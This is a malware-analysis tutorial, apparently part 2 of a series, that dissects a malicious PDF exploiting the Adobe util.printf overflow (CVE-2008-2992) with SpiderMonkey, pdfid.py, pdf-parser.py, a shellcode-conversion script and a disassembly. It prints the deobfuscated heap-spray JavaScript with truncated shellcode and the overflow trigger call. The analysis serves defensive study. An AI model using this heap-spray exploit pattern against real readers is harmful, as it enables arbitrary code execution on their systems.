Hacking PDF: util.prinf() Buffer Overflow: Part 2 [Updated 2019]

For part 1 of this series, click here.

1. Introduction

In the previous part we've seen the structure of the PDF document and extracted the JavaScript contained in object 6. We also determined that the extracted JavaScript is run when the PDF document is opened. Now it's time to figure out what that JavaScript actually does.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

2. Analyzing the JavaScript

The first thing to do is run the extracted JavaScript with SpiderMonkey. We'll be using the -f option to load and execute the JavaScript source file before executing our extracted JavaScript. The -f option causes SpiderMonkey to first execute the JavaScript contained in the file inputted as the -f option and afterwards execute the extracted JavaScript. This gives us the ability to redefine certain functions and variables before executing the actual extracted JavaScript.

An example is redefining the eval function to the print function, so that the JavaScript code is not actually evaluated and executed, but just printed to the screen. By using the -f option and specifying the pre.js JavaScript file (which is already included in the jsunpack-n package), we can redefine known functions that were previously used as part of the malicious JavaScript.

If we run the SpiderMonkey with the -f pre.js input arguments, we can immediately see that the obfuscated JavaScript contains the malicious code that tries to take advantage of the vulnerable util.printf function. The output of running SpiderMonkey can be seen below:

[bash]

# js -f pre.js -f util_printf.pdf.out

//alert CVE-2008-2992 util.printf length (13,undefined)

[/bash]

The js tries to execute the pre.js and util.printf.pdf.out and reports that the file is a known vulnerability CVE-2008-2992, but doesn't print the actual JavaScript code. If we look at the util.prinf.pdf.out again, we can quickly determine that it's the util.printf function that gets called at the end. But we don't actually want to call that function, but rather call the printf function or something like that. Hopefully, the pre.js contains the following code that prints the details of the vulnerability instead of executing the util.printf:

[plain]

var util = {

printf : function(a,b){print ("//alert CVE-2008-2992 util.printf length ("+ a.length + "," + b.length + ")n"); },

printd : function(){ print("//warning CVE-2009-4324 printd access"); },

};

[/plain]

This is exactly what gets printed when we run the js command, so the pre.js successfully overwrites the util.printf function with its own function.

[plain]

var a = unescape("%u789b%ub10c%u017a%ud4f6...");

var c ="";

for (b=128;b>=0;--b) c += unescape("%u914b%u9814");

d = c + a;

g = unescape("%u914b%u9814");

k = 20;

h = k+d.length

while (g.length<h) g+=g;

i = g.substring(0, h);

f = g.substring(0, g.length-h);

while(f.length+h < 0x40000) f = f+f+i;

j = new Array();

for (e=0;e<1450;e++) j[e] = f + d;

util.printf("%45000.45000f", 0);

[/plain]

We've replaced all the long variable names with simple alphabet letters and trimmed the unescape parameter to make the code more readable. We can immediately see that the JavaScript code is doing heap spraying and some mathematical functions over the array. The heap spraying overwrites large heap memory segments to increase the chances of landing in the arbitrary shellcode when overwriting the EIP; this is useful when we can't directly control the address where the shellcode is written, so we don't really know where the shellcode is located in the memory. Thus if we write the shellcode throughout large portions of the memory, landing in almost any arbitrary memory address will still result in execution of the malicious shellcode.

At the end of the JavaScript code there's a vulnerable function call util.printf, which we can use to overwrite certain portions of the stack and execute arbitrary code. Usually, the util.printf function is called like this: util.printf("%4500f", arg) with a very long arg argument that overflows the stack and overwrites the EIP to execute arbitrary code. In our case this isn't the case, since the second parameter is 0, but nevertheless the arbitrary code execution is possible (as we have seen in the previous part). Currently we won't go into the details why this happens, but let's just keep in mind that we don't yet know what the malicious JavaScript really does to gain execution flow.

There are also other tools written by Didier Stevens that can be used when analyzing malicious PDF documents. The tool pdfid.py can be used to print all tags in the PDF document. An example of printing all tags from the util_printf.pdf document is below:

[bash]

# ./pdfid.py util_printf.pdf

PDFiD 0.0.12 util_printf.pdf

PDF Header: %PDF-1.5

obj 6

endobj 6

stream 1

endstream 1

xref 1

trailer 1

startxref 1

/Page 1(1)

/Encrypt 0

/ObjStm 0

/JS 1

/JavaScript 1(1)

/AA 0

/OpenAction 1(1)

/AcroForm 0

/JBIG2Decode 0

/RichMedia 0

/Launch 0

/EmbeddedFile 0

/Colors > 2^24 0

[/bash]

The pdfid.py found a couple of interesting tags, like: stream, endstream, JS and JavaScript. Whenever the JS or JavaScript tag is present in the PDF document we need to be careful, because it may contain malicious code. We can check which tags are possibly harmful by checking the Lenny Zeltser cheat sheet for reverse engineering malicious documents, such as .doc, .xls, .ppt, and .pdf, that is accessible here: http://zeltser.com/reverse-malware/analyzing-malicious-documents.html.

To summarize, the malicious tags inside PDF documents can be the following:

- OpenAction and AA: specify the script or action to run automatically when the PDF document is opened.

- Names, AcroForm, Action: can be used to launch scripts or actions.

- JavaScript: specifies the JavaScript to be run.

- GoTo*: changes the view to a specified destination within the PDF file.

- Launch: launches a program or opens a document.

- Uri: accesses a resource on the Internet.

- SubmitForm and GoToR: sends data on the Internet.

- RichMedia: can be used to embed Flash in PDF document.

- ObjStm: can be used to hide objects inside an object stream.

With the tool pdf-parser.py we can also search for JavaScript in the PDF document with the search=javascript option as follows:

[plain]

# ./pdf-parser.py util_printf.pdf --search=javascript

obj 5 0

Type: /Action

Referencing: 6 0 R

<<

/Type /Action

/S /JavaScript

/JS 6 0 R

>>

[/plain]

The object with an ID 5 contains the /JavaScript tag and references the object with an ID 6 that contains the JavaScript. With this new information, we can dump the contents of the referenced object 6. To do that we need to supply the "-o 6" command line option as follows:

[plain]

# ./pdf-parser.py util_printf.pdf -o 6

obj 6 0

Type:

Referencing:

Contains stream

<<

/Length 5853

/Filter [/F#6cateD#65c#6fd#65/A#53CI#49Hex#44ecod#65]

>>

[/plain]

We printed the tags of object 6. This object also doesn't reference any other objects, so we've come to the end of the JavaScript code; only object 6 contains the actual JavaScript code that ought to be executed. Object 6 is compressed with FlateDecode and ASCIIHexDecode as can be seen on the output above if we change the hexadecimal characters representations back to ASCII. By using the -f option we can automatically decompress the PDF document's compressed data:

[plain]

$ ./pdf-parser.py util_printf.pdf -o 6 -f

obj 6 0

Type:

Referencing:

Contains stream

<<

/Length 5853

/Filter [/F#6cateD#65c#6fd#65/A#53CI#49Hex#44ecod#65]

>>

'nttvar rEjIPqzEByRqKciucyXoQKEoDVmfSgfXhXPTdGqKjKbGNRqlUrIPQvI = unescape("%u789b%ub10c%u017a");nttutil.printf("%45000.45000f", 0);nttttt'
[/plain]

The output above has been trimmed in order to be better presented, but we can still see the basic structure of the JavaScript, especially the ending vulnerable function call util.printf().

3. Disassembling the Shellcode

The attackers typically use unicode to encode their shellcode and then use the unescape function to translate the unicode representation to binary content. The same is true in our case where the unicode encoded shellcode is used within the unescape function, so the variable a holds the binary representation of the shellcode. This can be seen on the output below:

[plain]

var a = unescape("%u789b%ub10c%u017a%ud4f6%u80b8%u27fd%u757d%u747b%ud50b");

[/plain]

The shellcode was of course trimmed, but it still gives us an idea how the shellcode is stored and decoded in the JavaScript. To analyze the shellcode we need to transform it into its binary format, which is exactly what unescape does. The best way to do that is use a Python script.

First we need to save the whole shellcode in a separate file, let's name it shellcode.txt. Then we can download the sc_distorm.py Python script from the Malware CookBook and save it on our hard drive. We don't need the whole source file, but just part of it; it's also a good idea to read the shellcode from a text file, not as a command line argument. The changed version of the Python script is represented below:

[python]

#!/usr/bin/python

import os, sys

import re

if os.path.isfile(sys.argv[1]):

sc = open(sys.argv[1]).read()

else:

sc = sys.argv[1]

# translate to binary
bin_sc = re.sub('%u(..)(..)',lambda x: chr(int(x.group(2),16))+chr(int(x.group(1),16)), sc)

# save to disk

try:

FILE = open("shellcode.bin", "wb")

FILE.write(bin_sc)

FILE.close()

except Exception, e:

print 'Cannot save binary to disk: %s' % e

[/python]

Then we can run the script as follows:

[bash]

# python unicode2bin.py shellcode.txt

[/bash]

This will successfully take the unicode encoded shellcode stored in shellcode.txt and create a new file, shellcode.bin, containing the binary representation of the shellcode. The representation of the new file shellcode.bin can be seen in the picture below:

If we disassemble the binary shellcode, we get the following:

[plain]

0x00000000 (01) 9b WAIT

0x00000001 (02) 780c JS 0xf

0x00000003 (02) b17a MOV CL, 0x7a

0x00000005 (02) 01f6 ADD ESI, ESI

0x00000007 (02) d4b8 AAM 0xb8

0x00000009 (03) 80fd27 CMP CH, 0x27

0x0000000c (02) 7d75 JGE 0x83

0x0000000e (02) 7b74 JNP 0x84

0x00000010 (02) 0bd5 OR EDX, EBP

0x00000012 (02) 2c7f SUB AL, 0x7f

0x00000014 (02) 7743 JA 0x59

[/plain]

The shellcode is trimmed in both outputs for clarity. We won't go into the details of the shellcode assembly, but the point of this exercise was to show how to get the binary from the JavaScript unicode encoded shellcode and disassemble it into the assembly.

4. Libemu

The libemu is a C library written for the purpose of emulating shellcode. The webpage of libemu looks as follows:

On the 'Download' link we can get the instruction to clone the git repository and install libemu. We won't go into the details of doing that, since we can look it up on the webpage. When the installation is completed, two new commands are available: the scprofiler and sctest.

The sctest can be used to execute the shellcode in emulator. It will actually execute the instructions in the shellcode one by one and print the status of all registers after every instruction call. This can be a valuable resource when trying to determine what certain shellcode actually does without executing it on our own system (but in emulator).

We won't go into details about libemu, just keep it in mind if you're trying to figure out what the shellcode does.

5. Conclusion

Become a Certified Ethical Hacker, guaranteed!

Get training from anywhere to earn your Certified Ethical Hacker (CEH) Certification — backed with an Exam Pass Guarantee.

Learn More

We've seen how to detect malicious JavaScript inside the PDF document and parse it. Then we've looked at the shellcode compression techniques and how to decompress the shellcode being used by the PDF document. Afterwards we saved the unicode encoded shellcode into its binary representation form and disassembled it to get the assembly instruction. From there we can easily determine what the assembly instructions actually do and identify the real intentions of the included JavaScript code.